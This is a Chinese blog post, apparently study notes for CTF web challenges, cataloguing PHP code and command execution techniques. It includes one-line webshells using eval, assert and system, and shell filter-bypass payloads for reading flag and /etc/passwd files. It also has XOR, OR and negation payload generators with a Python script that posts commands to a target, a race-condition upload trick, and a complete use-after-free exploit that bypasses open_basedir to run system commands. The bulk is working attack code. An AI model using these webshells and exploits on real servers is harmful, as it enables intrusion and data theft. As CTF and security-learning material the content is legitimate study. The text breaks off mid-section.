木の小屋


道阻且长 行则将至

命令与代码执行总结

2025年7月9日 0条评论 2.81k次阅读 3人点赞 Lynzia

代码和命令执行总结

eval()与system()

区别：

eval类型函数是代码执行而不是命令执行（一句话木马）

system类型函数是命令执行而不是代码执行

eval函数里必须是一个符合php语法的语句，如果语句结尾没有分号会报错：eval()'d code

<?php
    eval("echo 1+1;");    //2
    system("echo 1+1;");  //1+1;
?>
<?php
    eval("phpinfo();");   //phpinfo()被执行
    system("phpinfo()");  //phpinfo()不被执行
?>
<?php
    system("whoami");    //whoami命令被执行
    eval("whoami");      //whoami命令不被执行
?>

值得一提的是代码执行可以执行命令执行，什么意思呢？

<?php 
    eval(system('cat flag.php'););
?>

这就是最典型的例子，就是eval里面可以执行system。

代码执行函数

1-eval
<?php eval($_POST["cmd"]) ?>

2-assert
<?php assert($_POST["cmd"]) ?>

3-call_user_func
<?php
    call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

4-create_function
<?php 
    $a= $_POST['func'];
    $b = create_function('$a',"echo $a");
    $b('');
?>
//post:func=phpinfo();

5-array_map
<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET['func'],$array);
?>
//post:func=phpinfo

命令执行函数

1-system
<?php system($_POST["cmd"]);?>

2-passthru
<?php passthru($_POST["cmd"]);?>

3-exec
<?php echo exec($_POST["cmd"]);?>

4-pcntl_exec
<?php 
    pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

7-``
<?php echo `whoami`?>

8-
<?php
    $cmd = 'system';
    ob_start($cmd)
    echo "$_GET[a]";
    ob_end_flush();
?>
//?a=whoami

命令执行管道符

;前面和后面命令都要执行，无论前面真假
#ls ; whoami

|直接执行后面的语句
#ls | whoami

||如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句
#ls || whoami

&前面和后面命令都要执行，无论前面真假
#ls & whoami

&&如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令
#ls && whoami

命令执行

绕过

空格的绕过

%09     cat%09flag.php  %09就是tab的url编码
$IFS    cat${IFS}flag.php
输入输出重定向<> cat<flag.php

对某些具体单词的绕过

比如说对flag进行了过滤，可以写成如下几种形式进行绕过
'f'lag
f''lag
\flag
fla?    使用通配符，？代表一个字符，*代表任意字符
fla[a-z]    [a-z]表取a-z每一个值

常用的payload

cat$IFS$1flag.php // 使用特殊变量， $1 改成 $加其他数字也可以
cat${IFS}flag.php // 使用 {}
cat$IFS'f'lag.php // 使用引号，绕过对flag的过滤
cat$IFS\flag.php // 使用转义符，绕过对flag的过滤
cat$IFS?lag.php // 使用通配符，绕过对flag的过滤
cat<flag.php // 重定向标准输出
cat<flag.php>haha.txt // 重定向标准输出
{cat,flag.php} // 用逗号实现了空格功能
ca\t fl\ag.php // 转义
%20 或%09   //%20 是空格、 %09 是tab (如果是防火墙过滤空格，可能会忽略url编码后的字符)
ca\t fla[a-z].php // 取值范围

命令执行读取文件

常规的命令

more: 一页一页的显示档案内容
less: 与more 类似 ,其优点可以往前翻页，而且进行可以搜索字符
head: 查看头几行
cat: 由第一行开始显示内容，并将所有内容输出
tac: 从最后一行开始显示，可以看出 tac 是cat 的反向显示
tail: 查看尾几行
tailf: 类似于 tail -f
nl ：类似于 cat -n, 显示的时候，顺便输出行号
od: 以二进制的方式读取档案内容 ,搭配 -c 参数读内容
vi: 一种编辑器，这个也可以查看
vim: 一种编辑器，这个也可以查看
sort: 可以查看
uniq: 可以查看

window 下的转义字符为 "^",linux 下的转义字符为 "\"

paste

paste 命令用于将多个文件的内容按列合并到一起。该命令从每个输入文件中读取一行文本，并在输出中使用制表符分隔它们。

paste shell.php
# 查看一个文件
paste shell.php /etc/passwd
# 查看多个文件

diff

diff 命令是一个在 Linux 系统中用于比较文本文件之间差异的命令。它可以帮助用户查找和标识文件之间的修改、添加或删除行等差异。

diff ./shell.php /etc/passwd

od

od命令主要是用于分析和查看二进制文件的内容，对于文本文件，它主要用于查看文件的ASCII码。

od -a shell.php

curl

curl file:///root/shell.php

base64

echo YWJjZGU=|base64 -d // 打印出来 abcde
echo Y2F0IC9yb290L3NoZWxsLnBocAo=|base64 -d|bash #cat /root/shell.php
echo Y2F0IC9ob21lL3QvZmxhZy5waHA=|base64 -d|sh #cat /root/shell.php

unicode编码

printf "\154\163"        # ls
printf "\u0063\u0061\u0074\u0020\u002f\u0072\u006f\u006f\u0074\u002f\u0073\u0068\u0065\u006c\u006c\u002e\u0070\u0068\u0070"
# cat /root/shell.php

拼接

将字符串拼接在一起绕过

[root@localhost ~]# a=l;b=s;$a$b
[root@localhost ~]# a=cat;b=/root/shell.php;$a<$b
[root@localhost ~]# a=ca;b=t${IFS}/root/shell.p;c=hp;d=$a$b$c;$d

读取日志文件

还可以尝试读取一下日志文件，如果发现可以读取。则可以往里面写入一句话木马，然后用蚁剑连接。

代码执行

绕过

绕过对输出结果的过滤

例如

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

代码解释如下

// 获取代码执行的输出内容
    $s = ob_get_contents();
    ob_end_clean();
    // 对输出内容进行混淆：将所有字母和数字替换为?
    echo preg_replace("/[0-9]|[a-z]/i","?",$s);

可以注意到会将代码执行结果中的数字与字母全部转换成?

绕过方式就是命令执行完以后exit(0);中断后面的代码

payload如下

c=var_export(scandir('/'));exit(0);
c=include('/flag.txt');exit(0);

目录扫描的方式

print_r扫描目录

c=print_r(scandir('.'));#查看当前目录
 c=print_r(scandir('/'));#查看根目录
 c=print_r(glob('*'));#查看当前目录
 c=print_r(glob('/*'));#查看根目录

var_dump扫描目录

 c=var_dump(scandir('.'));#查看当前目录
 c=var_dump(scandir('/'));#查看根目录
 c=var_dump(glob('*'));#查看当前目录
 c=var_dump(glob('/*'));#查看根目录

var_export扫描目录

c=var_export(scandir('.'));#查看当前目录
c=var_export(scandir('/'));#查看根目录
c=var_export(glob('*'));#查看当前目录
c=var_export(glob('/*'));#查看根目录

json_encode

c=echo json_encode(scandir("/"));
...

//[".","..",".dockerenv","bin","dev","etc","flag.txt","home","lib","media","mnt","opt","proc","root","run","sbin","srv","sys","tmp","usr","var"]

implode

implode函数是将数组转换成字符串的，再使用echo即可实现打印

c=echo implode(",",(scandir('/')));
//.,..,.dockerenv,bin,dev,etc,flag.txt,home,lib,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var

glob协议(绕过open_basedir)

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);

代码解释如下

$a = new DirectoryIterator("glob:///*"); // 创建一个DirectoryIterator对象，遍历根目录
foreach ($a as $f) { // 遍历每个条目
    echo($f->__toString() . ' '); // 输出条目的名称，并添加一个空格
}
exit(0); // 终止脚本执行

PHP中读文件的方式

常规方式

c=highlight_file('/flag.txt');
c=readfile('/flag.txt');
c=readgzfile('/flag.txt');
c=include('/flag.txt');
c=require('/flag.txt');

文件包含读取

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

只要没有过滤include$_GET[1]?>里的字符，那么便可以使用文件包含漏洞，来读取文件。并且由于?>将前面闭合了，所以只要没有过滤include$_GET[1]?>里的字符。那么?>后面的字符便不受限制了。

利用mysql的load_file读文件

当常规方式都无法使用的时候，可以尝试使用mysql的load_file来读取文件。

首先php要先连接上mysql，有两种连接方式

第一种便是最常规的mysqli_connect

c=$conn = mysqli_connect("127.0.0.1" , "root", "root", "information_schema"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

由于知道了文件的具体路径，所以不需要知道数据库名是什么，直接填information_schema就行，然后通过load_file读取文件再输出。

第二种种方式便是PDO

PDO（PHP Data Objects）是PHP中的一个扩展，它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务，使数据库操作更安全和高效。

DSN（数据源名称，Data Source Name）是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定，即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型（mysql）、主机名（localhost）和数据库名称（information_schema）。

foreach 是PHP中的一个控制结构，用于遍历数组或对象。

所以还可以这样

c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

还可以跟sql注入一样查数据库名、表名、列名

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

无参RCE

只使用字母与括号（套函数）

当过滤非常严格的时候，但是发现可以使用字母以及()，那么便可以使用套函数的方式达到我们想要的效果。

常用的php函数如下

Current     返回数组中当前元素的值
Array_reverse   以相反的顺序返回数组
next    将数组的内部指针向前移动一位
end     将数组中的内部指针指向最后一个单元
scandir(directory,sorting_order,context)    以数组形式返回文件和目录，第一个参数是目录，第二个是排序方式
Localeconv()    返回包含本地数字及货币格式信息的数组，该函数的第一个值就是”.”    常用来代表.
Print_r()       打印变量
scandir()       列出指定路径中的文件和目录
Readfile        读取文件并写入到输出缓冲。

# 实例
print_r(scandir(current(localeconv()))); // 查看当前目录有那些文件
print_r(array_reverse(scandir(current(localeconv()))));   // 将数组反转
print_r(array_reverse(scandir(current(localeconv())))[0]);  // 拿到指定的文件名
print_r(readfile(array_reverse(scandir(current(localeconv())))[0])); // 输出文件内容
print_r(readfile(scandir(current(localeconv()))[2])); // 直接输出文件内容

无字母和%

例子

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

可以看到将字母与%都给过滤了，这种情况可以使用如下这几种方法

bash无字母命令执行

在 Bash 中，$'\154\163'可以当作ls使用，这是因为 Bash 支持一种特殊的ANSI-C 风格转义字符串语法。
$'\154\163'       相当于ls   \后面的是八进制的Ascii码，\154十进制是108
所以上面的例子可以使用下面的payload
?c=$'\143\141\164'%20$'\146'*       相当于cat f*

无字母和数字RCE

异或

只要没过滤^字符，那么便可以使用异或字符使得两个url编码结果是想要的字母

构造脚本如下（这个脚本是与%ff不可见字符异或的）

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
   for($j=0;$j<255;$j++)
   {
       $k = chr($j)^chr(255);
       if($k == $argv[$i]){
           if($j<16){
               $l .= "%ff";
               $r .= "%0" . dechex($j);
               continue;
           }
           $l .= "%ff";
           $r .= "%" . dechex($j);
           continue;
       }
   }
}
echo "('$l')^('$r')";
?>

// ('%ff%ff%ff%ff')^('%a0%b8%ba%ab')

测试代码

<meta charset="utf-8">
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
    // 过滤所有的数字和字母
    $a = $_GET['shell'];
    echo '<br>服务器看到的参数是：' . $a;
    eval($a);
}
?>

payload

shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

还可以构造post

%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t

%A0^%FF=>_    
%AF^%FF=>P 
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T 

$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
$___=$$__;
$_($___[_]);

http://localhost:8080/test.php?shell=$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";$___=$$__;$_($___[_]);
# 需要添加POST
_=phpinfo();

或

例子

<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

可以看到这一题，字母数字都给过滤了，并且^也给过滤了。

但是发现或|没给过滤，那就可以使用一样的思路，就是让两个url编码|后的结果是想要的。

这里引用了羽师傅写的脚本

先运行

//rce_or.php用来生成可用字符的集合存放在rce_or.txt
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

然后是利用脚本

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER：python exp.py <url>')
   print("eg：  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

利用方法

python exp.py <url>

image-20250421213018760

取反

取反是将想要的字符取反后，然后使用的时候再取反回来从而绕过限制

<?php
$a = urlencode(~'assert');
echo $a;
//%9E%8C%8C%9A%8D%8B

$b = urlencode(~'_POST');
echo $b
//%A0%AF%B0%AC%AB
?>

<?php
$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert，此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab";   //得到_POST，此时$__="_POST"
$___ = $$__;   //$___=$_POST
$_($___[_]);   //assert($_POST[_])
?>

shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

中文截取

原理：中文编码在截取部分之后可以得到英文字符

字符递增获取所有字符

在处理字符变量的算数运算时，PHP沿袭了Perl 的习惯，而非C的。例如，在Perl中$a='Z'; a++; 将把 a变成AA，注意字符变量只能递增，不能递减，并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效，原字符串没有变化。

也就是说我们只要能拿到一个字符比如'a'我们就可以通过递增获取所有的字符。

但是，在过滤了字母以及数字的情况下，如何获得字符'a'呢？

在PHP中空数组[]强制转换成字符串以后就是Array，我们便可以通过索引获取’A‘和’a‘，然后通过递增就可以获取所有的字符。

如下的webshell

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=@$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
@$___($_[_]); // ASSERT($_POST[_]);
?>

无字母、数字和$（PHP7条件竞争执行sh文件）

例题：ctfshow-web56

<?php

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

可以发现这个时候字母数字以及$都被过滤掉了，但是.没有被过滤掉。可以通过 . 来执行sh文件，但是前提是要上传一个sh文件。

我也是学习别的师傅的,附上两个我觉得写的不错的blog

https://blog.csdn.net/qq_46091464/article/details/108513145

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

文章中提到这是在php5中的解法，但是在php7中同样实用。

原理是：我们可以通过post一个文件(文件里面的sh命令)，在上传的过程中，通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。（可以通过linux的匹配符去匹配）

首先先写一个用post上传文件的网页

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>

<body>
    <form action="http://f6c25ff9-9ef2-4d79-a31c-4d91c81c78ab.challenge.ctf.show/" method="post"
        enctype="multipart/form-data">
        <!--链接是当前打开的题目链接-->
        <label for="file">文件名：</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

然后打开网页，我这里部署在usbwebserver里

image-20250429220230548

然后抓包

image-20250429220816098

然后构造poc

?c=.+/???/????????[@-[]
注：后面的[@-[]是linux下面的匹配符，是进行匹配的大写字母。

多尝试几次就能条件竞争成功

image-20250429221020890

然后我们修改命令为直接读取flag

image-20250429221110691

只使用~$()

例题

<?php

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

此题将数字，字母，以及点都给过滤了。所以上一题的做法也不能用了。我实在是没招了，看了下wp发现可以这样做。

由于本题并没有过滤$()所以。

在 Bash 中，$(( ))是用于进行算术运算的结构。在这个结构里，能够运用常见的算术运算符（像+、-、*、/等）以及位运算符（像~、&、|等）。

$(() )由于里面为空，所以它的值是 0。这类似于数学里一个空的表达式，其结果就为 0。

  • 因为$(())的值为 0，在二进制里，整数 0 一般以 32 位或者 64 位的二进制形式来表示，例如 32 位的0表示为0000 0000 0000 0000 0000 0000 0000 0000。
  • 对其进行取反操作~0，得到1111 1111 1111 1111 1111 1111 1111 1111。在计算机中，整数采用补码表示，最高位是符号位，1代表负数。补码转换为原码的方法是：符号位不变，其余位取反再加 1。所以1111 1111 1111 1111 1111 1111 1111 1111转换为原码就是1000 0000 0000 0000 0000 0000 0000 0001，也就是 -1。

$(( $((~$(()))) $((~$(()))) ))这里有两个$((~$(())))，其值都为 -1，它们之间没有运算符，在算术运算里就相当于相加，即(-1)+(-1)，结果是 -2。

  • -2 的 32 位二进制补码表示是1111 1111 1111 1111 1111 1111 1111 1110。
  • 对其进行取反操作，得到0000 0000 0000 0000 0000 0000 0000 0001，也就是 1。

本题告诉我们flag在36.php中，所以我们要构造出36。也就是37个$((~$(())))，然后取反得到36。

所以payload如下

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

然后查看源代码就可以得到flag

或，异或，取反无参RCE一把梭脚本

首先运行下面脚本生成字符集

<?php

//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或，2代表异或，3代表取反
//取反的话，就没必要生成字符去跑了，因为本来就是不可见字符，直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式，后面的是过滤规则

然后运行下面脚本生成payload

# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
        lines = f.readlines()
        for i in arg:
            for line in lines:
                if line.startswith(i):
                    s1 += line[2:5]
                    s2 += line[6:9]
                    break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output

while True:
    function_input = input("\n[+] 请输入你的函数：")
    command_input = input("[+] 请输入你的命令：")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)

效果如下：

image-20250804202354009

UAF绕过open_basedir

当你目录扫描的时候发现可以扫描当前目录

image-20250709182459274

但是扫描根目录发现成功不了

image-20250625224719739

这种情况就是大概率对open_basedir作了限制。

尝试使用 scandir() 函数来扫描根目录，但由于 open_basedir 限制，这个操作被禁止了。
open_basedir 是 PHP 的一个安全配置指令，用来限制 PHP 脚本只能访问特定的目录。
当前配置只允许访问 /var/www/html/ 目录及其子目录，但不允许访问其他目录。

这个时候我们可以使用glob协议来扫描目录

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);

然后可以使用下面的UAF（这个是别的大佬写好的，涉及pwn的知识），可以通过这个UAF绕过open_basedir来命令执行。

c=?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

PHP7.4+的FFI特性

php7.4以上有一个FFI功能，可以用来调用 C 语言的 system 函数，并执行一个 Shell 命令。

https://www.php.net/manual/zh/ffi.cdef.php

可以看如下的payload

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

代码解释如下

